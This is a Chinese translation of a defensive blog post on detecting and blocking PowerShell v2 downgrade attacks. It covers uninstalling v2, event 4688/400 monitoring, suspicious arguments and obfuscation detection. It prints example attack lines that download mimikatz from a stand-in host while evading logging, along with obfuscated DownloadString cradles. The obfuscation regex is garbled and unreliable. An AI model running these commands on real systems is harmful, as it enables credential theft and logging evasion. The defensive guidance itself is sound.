PowerShell 降级攻击的检测与防御

红蓝对抗 2019-11-10

本文作者:ingmar.koecher 原文地址:https://www.eventsentry.com/blog/2018/01/powershell-pw3rh311-detecting-preventing-powershell-attacks.html 翻译作者:myh0st

在第一部分中,我提供了 PowerShell 的高级概述及其对网络的潜在风险。 当然,如果我们有追踪机制,那么只能缓解一些 PowerShell 攻击,假设我们已经开启了如下模块:

1、模块记录

2、脚本块记录

3、安全流程跟踪(4688/4689)

我将此博客文章分为 3 个不同的部分:

1、预防

2、检测

3、应急

我们首先尝试阻止 PowerShell 攻击,从而减少攻击面。

接下来,我们希望通过监视 PowerShell 和 Windows(使用 EventSentry )生成的各种事件来检测恶意 PowerShell 活动。

最后,我们将减轻并阻止他们的攻击,EventSentry 架构中的 agent 可以让我们实时监控日志。

但在我们潜入之前......

Powershell 降级攻击

在之前的博客文章中,我谈到要尽可能避免使用 PowerShell v2,因为它提供了不记录日志的功能,理想情况下应该部署 PowerShell v5.x 或更高版本,因为它提供了更好的日志记录功能。 因此,如果您启用了Module&ScriptBlock 日志记录并且至少安装了最新的 PS v4,那么你会认为 powershell 的事件日志中记录了基本脚本的活动记录。

根据上面的描述,我们将主机做如下配置:

1、安装了 powershell v5.1

2、启用日志模块

3、启用 ScriptBlock 日志模块

这就完美了吗?不一定,因为我们知道 powershell V2 不记录任何日志,而且每个主机上都安装了 powershell V2,尽管只是附带安装了相应的 .NET 框架而且并未默认使用。但是,我们很容易强制系统使用 powershell V2 版本,只需要在命令中指明版本即可,如下的命令:

powershell -version 2 -nop -NoLogo -Command "(new-object System.Net.WebClient).DownloadFile('http://www.pawnedserver.net/mimikatz.exe', 'calc.exe')"

在 powershell 的命令中添加 -version 参数就可以不在 powershell 事件日志中留下任何记录。由于 powershell 在执行命令的时候,只要参数不冲突就可以自动补全参数名称,比如 -version 就可以用 -v来代替,下面的命令与上面的命令效果一样:

powershell -v 2 -nop -NoLogo -Command "(new-object System.Net.WebClient).DownloadFile('http://www.pawnedserver.net/mimikatz.exe', 'calc.exe')"

所以我们在做防御的时候可以做像 -v*2 这样的正则匹配来检查异常参数。

微软已经认识到 PowerShell 被恶意利用,所以增加了一些高级日志记录选项,比如新版 Windows powershell 支持 ScriptBlockLogging 功能。同时,微软自称 powershell 是目前最安全透明的 shell 脚本语言。这并不一定是对的 ,任何脚本语言(Perl、Python 等)都是可以被攻击者利用,只是大多数解释器都没有 powershell 这样可用的日志记录功能,从而导致这些脚本显得没有 powershell 安全而已。由于 powershell 是默认安装在 Windows 上的,所以有越来越多的黑客使用 powershell 工具并且开源,供更多的人使用。

下面展示了有哪些操作系统有这样的风险:

img

你只要没有安装默认的 powershell V2 或者说没有安装 .NET Framework 2.0 ,那么它就不会激活,但是很多系统都默认安装了 .NET Framework 2.0 ,这就导致了可以使用降级攻击。由于 powershell V2 不能被总是卸载,所以我们可以使用 EventSentry 检测并终止 powershell V2 的命令(特别是启用了 4688 事件时)。即使 .NET Framework 2.0 没有被安装,但是我们可以通过命令行轻松安装 .NET Framework 2.0 :

dism.exe /online /enable-feature /featurename:NetFX3 /all

执行上面的命令需要管理权限,由于存在 UAC ,攻击者需要使用 Bypass UAC 来绕过 UAC 执行这个命令,如果获得的是本地管理员的权限,那么就可以完成这个操作。

据赛门铁克的报告,在实际的攻击实例中还没有观察到有 PS V2 到降级攻击,这可能是由于现在企业对 Powershell 的审计做的还不好,攻击者完全可以不用关心这个问题,不需要做这个操作。

预防

通过前面的描述,我们已经知道了 powershell V2 的坏处,所以我们需要做下面的操作来预防:

1、尽可能卸载 powershell V2

2、阻止 powershell V2 的运行(可以使用 APPLocker)

3、检测并终止使用 powershell V2 的命令

卸载 powershell V2

这种情况是针对默认安装了 powershell V2 的系统,如果没有默认安装 powershell V2 那么就可以跳过此过程,通常卸载 powershell V2 可以在控制面板中通过程序和功能手动卸载,也可以使用下面的 powershell 命令来卸载:

Disable-WindowsOptionalFeature -Online -FeatureName 'MicrosoftWindowsPowerShellV2' -norestart

当我们需要从多个系统上卸载 powershell V2 时,我们可以使用 Invoke-Command命令来卸载远程主机的 powershell V2:

Invoke-Command -Computer WKS1 -ScriptBlock { Disable-WindowsOptionalFeature -Online -FeatureName 'MicrosoftWindowsPowerShellV2' -norestart }

只需要把上面命令中的 WKS1 替换成你想要卸载 powershell V2 的主机名即可。你也可以指定多个主机,使用逗号隔开,命令如下:

Invoke-Command -Computer WKS1,WKS2,WKS3 -ScriptBlock { Disable-WindowsOptionalFeature -Online -FeatureName 'MicrosoftWindowsPowerShellV2' -norestart }

有了上面的基础,我们可以完成下面的步骤:

1、为企业范围内的主机启用 ModuleLogging 和 ScriptBlockLogging。

2、识别使用 powershell V2 的主机(你可以使用 EventSentry 的清单功能查看几秒内使用 powershell V2 的所有主机)

3、卸载那些不会破坏关键软件且支持 powershell V2 的所有主机

阻止 PowerShell 的运行

利用 4688 事件进行终止

如果无法卸载 PowerShell v2.0,也无法使用 AppLocker,或者希望找到比 AppLocker 更简单的方法,那么我们可以使用 EventSentry 终止那些在命令行中使用 -version 2参数的 powershell 进程。我们可以通过创建一个筛选器来查找包含 -version 2参数的 4688 powershell 事件,然后将筛选器连接到终止该 PID 的操作。

img

如果攻击者试图使用 PS v2.0 引擎启动恶意 PowerShell payload,那么 EventSentry 几乎会立即终止该 powershell.exe 进程。从记录 4688 事件到 EventSentry 看到闭关分析事件之间会有一定的时间差,从理论上讲,部分脚步可能已经在执行。然而在执行的所有测试中,即使最简单的 Write-Host Test” PowerShell 命令也无法正确执行,因为 powershell.exe 进程在运行之前已终止。这个很可能是因为 PowerShell 引擎确实需要几毫秒才能初始化(在记录了 4688 事件之后),所以 EventSentry 有足够的事件来终止进程。因此,在网络上下载任何恶意脚本内容都有可能在造成伤害之前终止运行。

散弹枪方法

通过上面的方式无法满足所有需求,比如通过快捷方式调用 PowerShell V2 而不是命令行。我们注意到 Windows Powershell 的事件 ID 是 400,当这个事件启动时会告诉 EngineVersion字段现在启动的 powershell 版本信息,例如:当启动 PowerShell V2 时,它将包含 EngineVersion=2.0 ,我们也可以利用这种方式来终止 Powershell 的运行。

img

注意:由于 400 事件无法与活动进程相关联(400 事件不包含 PID),因此我们无法做到选择性的终止 powershell 进程,只会将所有 powershell 进程都终止,但是,我觉得这不是一个问题,因为 powershell 的执行好都是很短的时间,在使用 powershell V2 出发终止时,正常的 powershell 进程很大可能不会同时存在。

检测

命令行参数

进入检测阶段,我们的目标是检测 PowerShell 的潜在恶意用途。 由于 PowerShell 存在各种各样的滥用可能性,因此检测每个可疑的 PowerShell 调用有点困难,但有一些命令行参数是非常可疑的。 实际上,我建议警告甚至终止所有包含以下命令行参数的 powershell 实例:

img

分析命令行参数的优势在于它不必依赖 PowerShell 日志记录,因为我们可以评估 4688 安全事件的命令行参数。

模块

除了评估命令行参数外,我们还希望查看主要用于攻击的模块,例如 .Download.DownloadFileNet.WebClientDownloadString。 因为一只有新的工具包和 PowerShell 功能可用,所以需要定期更新。

对于攻击变种的深度检测,我们可以像 4103 事件一样通过监控 4688 安全事件或通过增强 PowerShell 的模块日志记录来监控模块的名字。同样,您很可能会得到一些误报,我们可以设置一些排除项来减少误报。

命令代码混淆

只是查看命令行的参数和模块名称是不够的,因为可以使用反引号字符来混淆 PowerShell 命令,如下面的命令:

(New-Object Net.WebClient).DownloadString('https://bit.ly/L3g1t')

上面的命令可以通过查找 *Net.WebClient**DownloadString**https*模式可以轻松检测到。但是上面的命令可以用下面的方式代替:

Invoke-Expression (New-Object Net.WebClient)."Do`wnloadString"('h'+'t'+'t'+'ps://bit.ly/L3g1t')

这意味着只需要寻找 DownloadStringNet.WebClient 是不够的。可以看一下这个 PowerShell 混淆的 PPT :

https://www.sans.org/summit-archives/file/summit-archive-1492186586.pdf

值得庆幸的是,我们仍然可以使用正则表达式来检测这种技巧,这些技巧可能寻找大量的单引号和/或反撇号字符。如下:

^.CommandLine=.(1.$

上述表达式可以在 PowerShell 事件 ID 800 事件中使用,并且每次执行涉及 2 个或更多反向标记的命令时都会触发。

规避

如果攻击者使通过 powershell.exe 以外的二进制文件进行执行powershell 代码,仍然可以规避 powershell.exe 的检测规则,因为 powershell.exe 本质上是默认执行 powershell 代码工具。NPS(nopowershell)项目就是一个很好的例子,它通过名为 nps.exe 执行 PS 代码,可能还有其他的工具。

通过其他二进制文件执行 PowerShell 代码的想法可能与维持权限的人有关,下载另一个二进制文件肯定没有默认安装的 PowerShell 有优势,但是攻击者在前期可能会使用内置的 Powershell 进行攻击,在后续活动中可以下载一个隐藏的应用程序来躲避监控,维持权限。

如果我们可以监控到哪些应用程序使用了下面的关键 DLL,如果下面的 DLL 被调用就可以确定它是一个执行 PowerShell 的应用程序,也就可以检测到此攻击:

System.Management.Automation.Dll System.Management.Automation.ni.Dll System.Reflection.Dll

你可以用 Sysmon 检测到这一点,我将在后续文章中介绍。

应急

能够检测到发生恶意 PowerShell 活动是我们要做的第一步,我们如果能够确定哪些命令是恶意的,那么为什么不在造成损害之前阻止他的呢?

除了将所有日志发送到日志服务器外,我们还可以做很多事情来应对潜在的有害活动:

1、发出警报

2、标记事件并要求确认

3、企图彻底终止这个过程(可选择)

4、以上的组合

如果警报的唯一来源是来自其中一个 PowerShell 事件日志,则无法杀死确切有问题的 PowerShell 进程,并且所有正在运行的 PowerShell.exe 进程都必须终止。但是,如果我们可以识别来自 4688 事件的恶意命令,那么我们就可以终止仅有问题的 powershell.exe 进程 - 其他潜在的(可能是良性的)powershell.exe 进程将保持不受干扰。


  1. ]*){2,}[^`

本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论